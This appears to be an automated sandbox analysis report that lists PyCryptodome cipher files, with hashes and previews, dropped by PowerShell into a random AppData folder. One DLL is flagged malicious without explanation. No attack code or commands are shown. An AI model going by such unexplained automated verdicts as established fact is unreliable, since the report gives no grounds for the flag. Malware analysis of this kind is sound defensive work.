              Preview:#..# A block cipher is instantiated as a combination of:..# 1. A base cipher (such as AES)..# 2. A mode of operation (such as CBC)..#..# Both items are implemented as C modules...#..# The API of #1 is (replace "AES" with the name of the actual cipher):..# - AES_start_operaion(key) --> base_cipher_state..# - AES_encrypt(base_cipher_state, in, out, length)..# - AES_decrypt(base_cipher_state, in, out, length)..# - AES_stop_operation(base_cipher_state)..#..# Where base_cipher_state is AES_State, a struct with BlockBase (set of..# pointers to encrypt/decrypt/stop) followed by cipher-specific data...#..# The API of #2 is (replace "CBC" with the name of the actual mode):..# - CBC_start_operation(base_cipher_state) --> mode_state..# - CBC_encrypt(mode_state, in, out, length)..# - CBC_decrypt(mode_state, in, out, length)..# - CBC_stop_operation(mode_state)..#..# where mode_state is a a pointer to base_cipher_state plus mode-specific data.....import os....from Crypto.Cipher._mode_ecb import _cre

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_chacha20.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):10752
              Entropy (8bit):5.548161556523813
              Encrypted:false
              SSDEEP:
              MD5:54E6DE102DCBEF46AE7B5AC9F007E826
              SHA1:D3FE51E15B5F3AD186B44F69967593178FCFE537
              SHA-256:E7EF3EFE01606EBE564C1818EE5839A997CEB8B99846F6C4FBA86A09BCF9A507
              SHA-512:1B34C797E8ADA4085FD4F2B7169221EA70036D631329E6389611351F60FBCCAE0F1CBAE98CC232054615042DA101BFB7BDF4CB98807BDB0469886AC89C9293E5
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.?.go..v...ao..(...`o..co..Bo..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.S.bo..Y..bo..Richco..................PE..L...9..e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..X...p1...............................0..@............0..t............................text............................... ..`.rdata..&....0......................@..@.data........@.......$..............@....rsrc........P.......&..............@..@.reloc..X....`.......(..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_cbc.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11181
              Entropy (8bit):4.6088680499881525
              Encrypted:false
              SSDEEP:
              MD5:5391E17052FA07E0183AAA6C3AB6D344
              SHA1:31D25884252B3BFB909E20935C8447645E4C233A
              SHA-256:4707CD383304E7B5A84330F45EB3E49C72E905072E825859B54D033C87A0AFE7
              SHA-512:C134A89F9E6A02942AEA745A6F1232091841EB141874C8645448451B2857FEC4D3384B46FD054643673F083A8FF2D9B204CBA87F53FDD5CEA179AB619F36F8C6
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_cbc.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):712
              Entropy (8bit):4.750220080456401
              Encrypted:false
              SSDEEP:
              MD5:30DD017C0985A1EFF693D631609C1DB6
              SHA1:378924C68A2872C951B6AB0291014CD3DD3C3B9C
              SHA-256:BCD20F1E0C545F56F186640614FEB8B125A2627F7A56F36DA2A3B2040EFE6FFC
              SHA-512:8029C5F0C2789E73A777C9F7609170DE099DDAF80CFDFDC912D2A48740661A5F831B729D7A2CCCC8A4A32CC22CE22480D4871615F49BCE958DB154B9120D4A3C
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['CbcMode']....class CbcMode(object):.. block_size: int.. iv: Buffer.. IV: Buffer.... def __init__(self,.. block_cipher: SmartPointer,.. iv: Buffer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_ccm.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):25025
              Entropy (8bit):4.677063276164775
              Encrypted:false
              SSDEEP:
              MD5:3E9660F26D207EF9A4C5A4CE2B3772AE
              SHA1:CBF049D0BDDB1592528978F77BA3AB75D2AC6227
              SHA-256:C65239369F4CF282246AC590FB630A4A83F9340BB41578DF6E419334F70642B5
              SHA-512:B8C5726C48B001E5B04FB512121466A27C4D35D90F5C2A890311BAF1B1E1B079C24BDE8CDAFB07090017BE1CC5B464F46E8C7074547CE2BC20BAA97FFA94894E
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_ccm.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1647
              Entropy (8bit):4.397477650476907
              Encrypted:false
              SSDEEP:
              MD5:91133F991531450E28EE3F680FBF6F20
              SHA1:BB3761FBD4A0F912A77258D73B30D7E43403130E
              SHA-256:5F0058DE990A9668E5B0CE2273E74E0D5BFDF79F5E6745DC9B8FAEB39822A9AD
              SHA-512:F5FAF2155B4D172D3DDAF556DF2EF28E5CE93CE81F471AED1D7215C658EF03C9DAB71FA3BDABD3133951A1A64EA628587F8390D330280518B2CA60F0E6451D74
              Malicious:false
              Reputation:unknown
              Preview:from types import ModuleType..from typing import Union, overload, Dict, Tuple, Optional....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['CcmMode']....class CcmMode(object):.. block_size: int.. nonce: bytes.... def __init__(self,.. factory: ModuleType,.. key: Buffer,.. nonce: Buffer,.. mac_len: int,.. msg_len: int,.. assoc_len: int,.. cipher_params: Dict) -> None: ..... .. def update(self, assoc_data: Buffer) -> CcmMode: ....... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str:

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_cfb.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11014
              Entropy (8bit):4.5201226161912444
              Encrypted:false
              SSDEEP:
              MD5:B28169CB2CE510E4A7D3D55FDB214DDE
              SHA1:9137A29D0D79352EBDFC04AE641F99263DF5B850
              SHA-256:813D8A9659151C4834B488257C205DBAD70BFEE9E45ED6C18CFB9B9010BF23DA
              SHA-512:2731A03C91ECA96F06E7A97DD8207B674688A4C6BD7338C124CB61FF63DE231C33237F2073592C6E4216A947419E5F1A69E8D65B1821189880B793DBC8ED283B
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Cipher/mode_cfb.py : CFB mode..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_cfb.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):753
              Entropy (8bit):4.690976940000698
              Encrypted:false
              SSDEEP:
              MD5:652CF8ED15152064BFF8807277058B5A
              SHA1:D868B6EBCDF4B5AE76DD495FBD506879BCE96B88
              SHA-256:FA48D3431DA67394394BCFC79AFA506311A5579E9234299215B06514EC72EDEA
              SHA-512:2354A738EBA79324311746672CFB436ECB558212FCFC044030A1C932F0E6EC74E539A38994A1BB7F69D5B84EB2C2F49EDAE11243A8D4B11B6B304425FBE8334F
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['CfbMode']......class CfbMode(object):.. block_size: int.. iv: Buffer.. IV: Buffer.. .. def __init__(self,.. block_cipher: SmartPointer,.. iv: Buffer,.. segment_size: int) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_ctr.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):16205
              Entropy (8bit):4.422045978034575
              Encrypted:false
              SSDEEP:
              MD5:67B5D4EFCCC2EBFD2EF0F2A0D43A0D36
              SHA1:613EB622D976517FFB544792C4331093E28237C4
              SHA-256:2CB2F14BD56381E0DB323B2E585A3803A667C37F9A852D407AB2B62E09EFBC68
              SHA-512:46C59C7ADD4B04DAE6BD85190CD1885347986F6DE4E151543D97DD2E52EFAE0817CB43C96E145CB0491BF45BDAF33BE4619D5C66FDF6015BA5F9A20905E9C5E5
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Cipher/mode_ctr.py : CTR mode..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_ctr.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):827
              Entropy (8bit):4.593860739765962
              Encrypted:false
              SSDEEP:
              MD5:8A35D43812049862067E29C878476C74
              SHA1:A12D8A91A7657976F857C769188B625FA27F0697
              SHA-256:D5EAD8152A6D1DA357A8B3B4D79E468B3A1201CB4406E83951F7B32F48A2FD1D
              SHA-512:18F5C59C21EFB6867FE1B837E0ECC55524B2382F0C95A493CEE012DB691C1B0D6D3BED81D46CDBEE48A9D4C11CE47726F38A98E398557141E90B794B61D25017
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['CtrMode']....class CtrMode(object):.. block_size: int.. nonce: bytes.... def __init__(self,.. block_cipher: SmartPointer,.. initial_counter_block: Buffer,.. prefix_len: int,.. counter_len: int,.. little_endian: bool) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_eax.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):14861
              Entropy (8bit):4.674561793295729
              Encrypted:false
              SSDEEP:
              MD5:DE4BA47AE12810A28473AE92C6C1B6A3
              SHA1:52749E06D5B7D25BE027F4C0BB46FED0AF52F890
              SHA-256:8643C44AB29F164FBC9F76686CE8D8203A8F9E685ACFD0F8FC22AF9643782E83
              SHA-512:9B981CE7693F99FC926C884EDEC2659DDD7B507E49F33A24B6B732D25F0B2543BE29158FE6FBFB73CEA1025324CC6EDDB2E23678981CCAFE75BBE09CFBA7B9D6
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_eax.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1590
              Entropy (8bit):4.436811038410909
              Encrypted:false
              SSDEEP:
              MD5:B414CB43B46387AD1B1B2AD15F66314E
              SHA1:DE8BFF4EE379D1F4A7DF3EC4051A3CB1D3DCB09E
              SHA-256:C5246506D2FF0E2B13BAE3A5D47467C47994932C24499FEFCF32126C39BF9611
              SHA-512:0788A2CF03A23CD2788A592E5C201F2632CABEF44B9094158A7B5A02B0AB97202C05562FD78F585554E7A4FEA2C862B885F3E5074792080285787F112CCB5F22
              Malicious:false
              Reputation:unknown
              Preview:from types import ModuleType..from typing import Any, Union, Tuple, Dict, overload, Optional....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['EaxMode']....class EaxMode(object):.. block_size: int.. nonce: bytes.. .. def __init__(self,.. factory: ModuleType,.. key: Buffer,.. nonce: Buffer,.. mac_len: int,.. cipher_params: Dict) -> None: ..... .. def update(self, assoc_data: Buffer) -> EaxMode: ....... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, received_mac_tag: Buffer) -> No

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_ecb.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8529
              Entropy (8bit):4.499365740356179
              Encrypted:false
              SSDEEP:
              MD5:BA708C28472BF8A266985DCA4CCD93B1
              SHA1:C4E6D55A46EDEB5FDDF8A8BF15A1BA198C94815B
              SHA-256:BEB1D881C681295AE01316E857A5AB8D289A4A1B30DCF97ED405FEA5C694892A
              SHA-512:D0543D25A7AA3787CF681EBEEDEE2D9229DCB03B8D53125F7AFB40B48040E4B3F4CC912A02C86EEE1E4E2ECAD24669B89174FECC4C199BB94733B159650570A6
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# Cipher/mode_ecb.py : ECB mode..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_ecb.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):611
              Entropy (8bit):4.857553785112337
              Encrypted:false
              SSDEEP:
              MD5:12949DC06561F6F7C431BFB79A4F5D05
              SHA1:68C7903BA776DC6B8C9B2F3EDA82A9033C001FCC
              SHA-256:652C427E0BBCA4838334715C3BF18979F96EB0B3FCFBA8D67992A9D8F7A3CA4D
              SHA-512:5B2F563099AFD298366B739064E648ADFA3B42C0A9906A95D48F6AE8B48EBD0EBA01FB864FFB2F5F0BE81493DBE0DBD4DB0EECB6300B35C53FBEBBA92B27E2A5
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = [ 'EcbMode' ]....class EcbMode(object):.. def __init__(self, block_cipher: SmartPointer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_gcm.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):21917
              Entropy (8bit):4.7218595521732905
              Encrypted:false
              SSDEEP:
              MD5:EE69CE26FAD75A0F241475DBA3E1697C
              SHA1:23E08C68DFE560AC0124221A41D323D0410BEEEC
              SHA-256:113176FE53453C3E932E18ABFEECF654A0F87E19995DA8D84BEB0E1A85BC3027
              SHA-512:087A7577A3EEC8F1F1E058B23794F4DCFB66F4337827073F3B1563107B88637977448DF594388F77469E2072D75E48901CD0D497F276168BB9CEB173750321F2
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_gcm.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1586
              Entropy (8bit):4.431900531457141
              Encrypted:false
              SSDEEP:
              MD5:7D3D576FC1628D95451DC9436EC64091
              SHA1:742B2C357FF613BC5D5285211D3D52AA4BD6F445
              SHA-256:49B6A847D2C71DA556387D1987946EDD0C259CCF3952C63C9D1061CB4EB731FE
              SHA-512:8781937E2570F5FE246F0349A41CC3406E40156F9FDEC08701983DB091DA06637B6CD428D109A57F40B61F3D72DA825F69ABA1BC0F1DFA3D9660A21E88DFFA74
              Malicious:false
              Reputation:unknown
              Preview:from types import ModuleType..from typing import Union, Tuple, Dict, overload, Optional....__all__ = ['GcmMode']....Buffer = Union[bytes, bytearray, memoryview]....class GcmMode(object):.. block_size: int.. nonce: Buffer.. .. def __init__(self,.. factory: ModuleType,.. key: Buffer,.. nonce: Buffer,.. mac_len: int,.. cipher_params: Dict) -> None: ..... .. def update(self, assoc_data: Buffer) -> GcmMode: ....... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, received_mac_tag: Buffer) -> None:

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_ocb.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20467
              Entropy (8bit):4.484216973410615
              Encrypted:false
              SSDEEP:
              MD5:EC64CBF9BFF2B388C5D116CAFA222813
              SHA1:0EBA256BF6195A5A15DF1FE9F17AF6BF28689037
              SHA-256:3B85F66B106E11ABFF974D8C0505286D895F7A586770ED65317335CD0EEF2FD7
              SHA-512:69D0E34D535BA0C98276B862265B827F6F2C7EC5A52A77878BEBFD3F0C81E9D366DFBDA3D8BF4A28F9D672491C343CE7E40DB51E9940DF175C745B48DB89AD52
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_ocb.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1267
              Entropy (8bit):4.510576229003074
              Encrypted:false
              SSDEEP:
              MD5:76916331AA1417BD4EADDD10948D8D26
              SHA1:1223CEC2D805BE11A585A842EDA6B0214F1AB3E3
              SHA-256:E0C136E3762DD93C24793DAF989D94061AF30A300D7308BC8AD2EF69E73A92E5
              SHA-512:BABD83C1F0D4399B0B2FB099B8303303694763104B75C56C64CAD8C0A722B7F3FEE5FA0EA11026857E5822853D73905B45AA83EF4DAC23D8DD56A6EF41C73621
              Malicious:false
              Reputation:unknown
              Preview:from types import ModuleType..from typing import Union, Any, Optional, Tuple, Dict, overload....Buffer = Union[bytes, bytearray, memoryview]....class OcbMode(object):.. block_size: int.. nonce: Buffer.... def __init__(self,.. factory: ModuleType,.. nonce: Buffer,.. mac_len: int,.. cipher_params: Dict) -> None: ..... .. def update(self, assoc_data: Buffer) -> OcbMode: ....... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, received_mac_tag: Buffer) -> None: ..... def hexverify(self, hex_mac_tag: str) -> None:

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_mode_ofb.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10491
              Entropy (8bit):4.4882632072003945
              Encrypted:false
              SSDEEP:
              MD5:EADCECA62EE60C2F04D2E18ADB5FB72C
              SHA1:3A40BCD84E318E1641DFFDFCF7509957DD75A997
              SHA-256:670B77041005E3E61FA2E3A80E23E454051039FE3F310C8B53A7A8F02A56B986
              SHA-512:E347FD33F158E656F5F60499D25C18B7121896190B3F4CB935F3253433CFCB038E3B46D591E203F0EF78F8F99D91D76F2FF34D2831360D199AE0E1B148F0AC65
              Malicious:false
              Reputation:unknown
